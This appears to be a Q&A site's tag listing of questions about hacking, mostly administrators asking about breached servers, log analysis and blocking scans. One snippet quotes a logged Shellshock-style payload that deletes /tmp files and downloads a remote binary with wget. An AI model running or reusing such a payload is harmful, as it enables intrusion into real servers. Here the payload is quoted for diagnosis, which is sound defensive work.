Hacking is the violation of server or network security via exploitation of weaknesses in that security.

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Find connected android device location on my wireless router [on hold]

I have WiFi home router secured with WPA2-AES. Today I found a new device connected with IP 192.168.1.8 which is not mine. I have its MAC address and IP and the host name like this: IP address: ...
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0answers
14 views

Protection of information terminal running Windows OS [closed]

I need an information computer terminal to work 24/7 in a protected public area. Operating system is Windows POS Ready 7 EVAL. I need this terminal to send HTTP messages to a single IP address in the ...
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0answers
18 views

cakephp - hacked… but how and what [duplicate]

I got an email from my host which says that a cakephp app which I built has been hacked and some bad files found so they've taken me offline. the problems are in the following files: ...
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2answers
67 views

how to prevent non-admin user to gain admin access using overflow [closed]

There are all sort of coding best practices to prevent stack overflow attack but that is not what this question is about. What I want to know is how to prevent a legit non-admin user running a piece ...
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2answers
184 views

Stop China from connecting to my Google Compute Engine server

My company has a Google Compute Engine server hosted in North America. We get so many Chinese IP addresses sending requests to port 11 that it is costing us money for the ingress. Our firewall blocks ...
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1answer
115 views

Mysql crashed showing following errors. Is this a hack?

2015-05-17 14:50:38 1896 [Warning] Host name 'hn.kd.ny.adsl' could not be resolved: No such host is known. 2015-05-18 00:11:23 1896 [Warning] IP address '222.186.21.38' could not be resolved: The ...
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1answer
103 views

How could this hack have been possible unless the host itself was compromised? [closed]

UPDATE II: I honestly fail to see how my question is inappropriate for this site, and no one seems to want to give me a reasonable response for that, but whatevs, I solved it. Thanks to the actual ...
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1answer
57 views

Is it a ok wordpress file or is hack, look at this code [duplicate]

I was facing a hack My website is not hosted on a server but shared hosting, If server is hacked I cannot do anything. My Question is not about how to safeguard the server, but is the below code is ...
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1answer
66 views

Weird server behavior, fear security breach but nothing on logs

These days my hosting (a2hosting) had an issue with the node hosting my VPS and during this period my users noticed a weird behavior other than the several restarts that happened while there were ...
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0answers
21 views

Syslogd acctack

My hosting company told me, my VPS server (CentOS release 6.6) have abnormal activities issue (hacking other server) and blocked my outgoing traffic, they just give me limit info: The hacking ...
0
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2answers
733 views

hacking to my apache using cgi script

I newbie to web programming, so I setup an apache2 sever for my practice. It seems that someone succeeded to hack my apache server. I have notice in my access.log the following line: 81.169.174.52 - ...
14
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7answers
4k views

Should I bother to block these rather lame attempts at hacking my server?

I'm running a LAMP stack, with no phpMyAdmin (yes) installed. While poking through my Apache server logs I noticed things like: 66.184.178.58 - - [16/Mar/2010:13:27:59 +0800] "GET / HTTP/1.1" 200 ...
2
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2answers
55 views

What are some of the hacks that DNSsec is intended to prevent

I know that the overall purpose of DNSsec is to prevent spoofing your DNS record. But what are some of the actual processes/routines that are used that DNSsec actively prevents?
0
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0answers
110 views

How do you get Snorby to generate an alert through a custom rule?

I am having trouble getting a rule to activate, when a syn flood attack is happening. I have tried 2 iterations of this code and I am losing my sanity over it. The scenario is that I have 3 VMware ...
3
votes
3answers
168 views

What criteria do you use to determine if someone is hammering your server?

When you go through your logs, what criteria do you use to determine if it's you (ie: you need to beef up your server/s) or them (ie: they're verging on a DoS)? How many connections/second would you ...
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5answers
2k views

Server Potentially Compromised — c99madshell [duplicate]

So, low and behold, a legacy site we've been hosting for a client had a version of FCKEditor that allowed someone to upload the dreaded c99madshell exploit onto our web host. I'm not a big security ...
0
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0answers
46 views

Got hacked. Want to know how and protect the others similar setup instance [duplicate]

The website got hacked, would like to know how / possible approach the hacker did and how can i protect the server. This is the information of the hack: http://www.zone-h.org/mirror/id/23884086 The ...
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0answers
22 views

User agent string starting with “rm” - hacker? [duplicate]

I noticed this in my apache log: Referrer: () { :; }; /bin/bash -c \ User Agent (I've separated the cmds by ;): rm -rf /tmp/*; echo wget http://222.186.21.115:999/udso -O /tmp/China.Z-xtsu` ...
7
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2answers
2k views

Bypassing htaccess restrictions?

I found this in my apache access logs access.log:555.555.555.555 - - [05/May/2011:12:12:21 -0400] "GET /somedir/ HTTP/1.1" 403 291 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:5.0) Gecko/20100101 ...
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1answer
58 views

Understanding Postfix Mail Log (Part II)

There are several logs like below in my Postfix mail log: Mar 9 06:01:10 postfix/smtpd[23043]: initializing the server-side TLS engine Mar 9 06:01:10 postfix/smtpd[23043]: connect from ...
2
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2answers
507 views

Nginx 400 errors due to random encoded string starting with “\x” from random IP addresses

I assume these are some sort of bots, but would like to know what are they trying to do to my server. The logs in questions are below and the IP address has been changed from the original. ...
12
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10answers
886 views

What is the best way to gain access when the password is unknown?

If you were provided a computer running Windows 2000 or newer and you have no passwords, what method do you use to gain access with administrator privileges so you can use the system?
12
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4answers
15k views

Block range of IP Addresses

I am getting bombarded with attempted hacks from China all with similar IPs. How would I block the IP range with something like 116.10.191.* etc. I am running Ubuntu Server 13.10. The current line ...
6
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8answers
1k views

(200 ok) ACCEPTED - Is this a hacking attempt?

I assume this is some type of hacking attempt. I've try to Google it but all I get are sites that look like they have been exploited already. I'm seeing requests to one of my pages that looks like ...
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0answers
22 views

Website ftp details hacked by Alsancak Tim [duplicate]

My web files are hacked by Alsancak Tim. some ine is hacked ftp username and password. then going to delete all files and updated his own file. Now i am looking my website, it display a new ...
28
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7answers
5k views

How can I block hacking attempts targeting phpMyAdmin?

My website gets thousands of hits daily from different IPs trying to access: /php-myadmin/ /myadmin/ /mysql/ ...and thousands of other variations. None of these directories exist, I don't even have ...
2
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2answers
82 views

Block people searching for server admin pages

Occasionally I flip through our (apache) access log and I often come across people trying to fish for admin pages. For example, they are trying to access pages like: /wp-login.php ...
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1answer
108 views

Understanding Postfix Mail Log

Recently I checked my mail log and found a lot of messages like this (some cipher text have been truncated): Feb 23 11:57:42 postfix/smtpd[32451]: initializing the server-side TLS engine Feb 23 ...
11
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7answers
2k views

Hacking prevention, forensics, auditing and counter measures

Recently (but it is also a recurrent question) we saw 3 interesting threads about hacking and security: My server's been hacked EMERGENCY. Finding how a hacked server was hacked File ...
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1answer
74 views

how does one report an RDP attack to Microsoft when it's happening in real time? [closed]

To my surprise, Security Event 10 was for 104.43.193.6 which is apparently a Microsoft ip address: http://ip2location.com/demo/104.43.193.6 =. Microsoft Corporation. Likely AFAIK some has leased ...
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3answers
359 views

DDoS Network Protection Devices

In our office we're running a Cisco ASA 5510 firewall. Is this device enough if we want to protect against DDoS attacks? What devices (like cisco guard, etc) do you recommend and what's the user ...
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1answer
112 views

Decode array of encoded objects [duplicate]

I need some help from you.. my VPS was hacked.. I was trying to decode the files I found.. here the content of one php file, it's an array of encoded objects. Can you help me? ...
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0answers
32 views

Debian server hacked - root login on /dev/tty1 - therebel exploit [duplicate]

I have a test server running Debian Wheezy (Kernel 3.2.0-4-amd64) and OwnCloud 7. It is a virtual machine hosted on a Debian Wheezy kvm Server. It uses an own IP address configured via br0. I made ...
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0answers
131 views

Is my site getting hacked (Bluehost)?

I'm running a simple website off of Bluehost, and I needed to use custom Python scripts so I created a cgi-bin folder in my site's directory and added my cgi python files there. Everytime I tried to ...
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2answers
1k views

Continuous POST requests on wordpress login page - hacking attempt?

From today morning, I am witnessing a series of continuous POST requests hitting on one of blog running on wordpress software on my server. Few things about this pattern: These continuous requests ...
2
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1answer
180 views

What are some topics you'd like to see covered in an 'Introduction to Network Security' book? [closed]

I'm trying to put together a list of topics in Network Security and prioritize them accordingly. A little background on the book - we are trying to gear the text towards college students, as an ...
4
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1answer
121 views

MySQL Database Being Tampered Without Injection

My MySQL database has been getting hacked, and I cannot find the loophole. I have solid protection in PHP to prevent against injection and the hacker himself has communicated with me and says he is ...
7
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7answers
1k views

Website hacked again

Final Update: Things have been peaceful for the past few weeks and taught me much more about website security and risks. Here's my version of story - I was using an older version of wordpress and ...
24
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10answers
22k views

How do I know if my Linux server has been hacked?

What are the tell-tale signs that a Linux server has been hacked? Are there any tools that can generate and email an audit report on a scheduled basis?
6
votes
7answers
3k views

How Could My Website Be Hacked

I wonder how this could happen. Someone deleted my index.php files from all my domains and puts his own index.php files with the next message: Hacked by Z4i0n - Fatal Error - 2009 [Fatal Error ...
363
votes
13answers
67k views

How do I deal with a compromised server?

This is a Canonical Question about Server Security - Responding to Breach Events (Hacking) See Also: Tips for Securing a LAMP Server Reinstall after a Root Compromise? Canonical ...
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0answers
46 views

Analyze logs after hack [duplicate]

I'm really new to log analysis.. And OVH contacted my society because one of our website has been hacked during the weekend. They told us that they used Asprox. So my boss told me to look into the ...
0
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1answer
167 views

ubuntu sudoers file hacked?

I've 3 ubuntu 14.04 vm on a remote hosting for code repository and testing purpose. I've got them for more than 1 year now. Two of them are working properly, but on one of them I can't run root ...
0
votes
1answer
77 views

Diagnosing heavy bandwidth usage

I run a couple of IIS web servers, one on win server 2008 R2, the other on 2003. Both fully patched and up to date, with AV. Running on a No NAT connection with 8 WAN IP's The 2003 machine seems to ...
3
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1answer
694 views

got weird email with server data. Does this mean I got hacked? [duplicate]

I just got the following "undelivered message" to my postmaster@mydomain.com Does this mean someone might have tried to (or succeeded in) hacking me? (I replaced certain parts in the below for ...
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1answer
188 views

How do I know how the hacker gained access to my machine? [duplicate]

I own a dedicated machine and today I got an email from my host saying that my server will be blocked if I don't stop abusing the network. I am not a spammer or hacker. Someone was using my machine to ...
0
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2answers
138 views

Server compromised, how deep is the intrusion when PHP files are changed in folder without write permissions [duplicate]

I know there have been a lot of similar questions, but none of them covered this specific question: I found on almost all PHP files on a clients server script injections, it was actually the script ...
0
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2answers
452 views

Arp attack on my network

We have a small network of around 100 laptop/desktops and around 20 servers (sounds an overkill but these servers provide service for all our external contractors too) and we have recently noticed ...
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2answers
189 views

server hacked - cron continue to run [duplicate]

Someone accessed my EC2 Ubuntu 14.04 and installed some malicious cron to do port scanning with user eric. I removed user eric and the file executed, but in syslog I see Sep 19 15:27:01 ip-xxx ...
0
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1answer
318 views

I think my server was hacked - how do i know what has been changed? [duplicate]

I have read the following posts which didn't answered my questions: - My linux server was hacked. How do I find out how and when it was done? - How do I know if my Linux server has been hacked? - and ...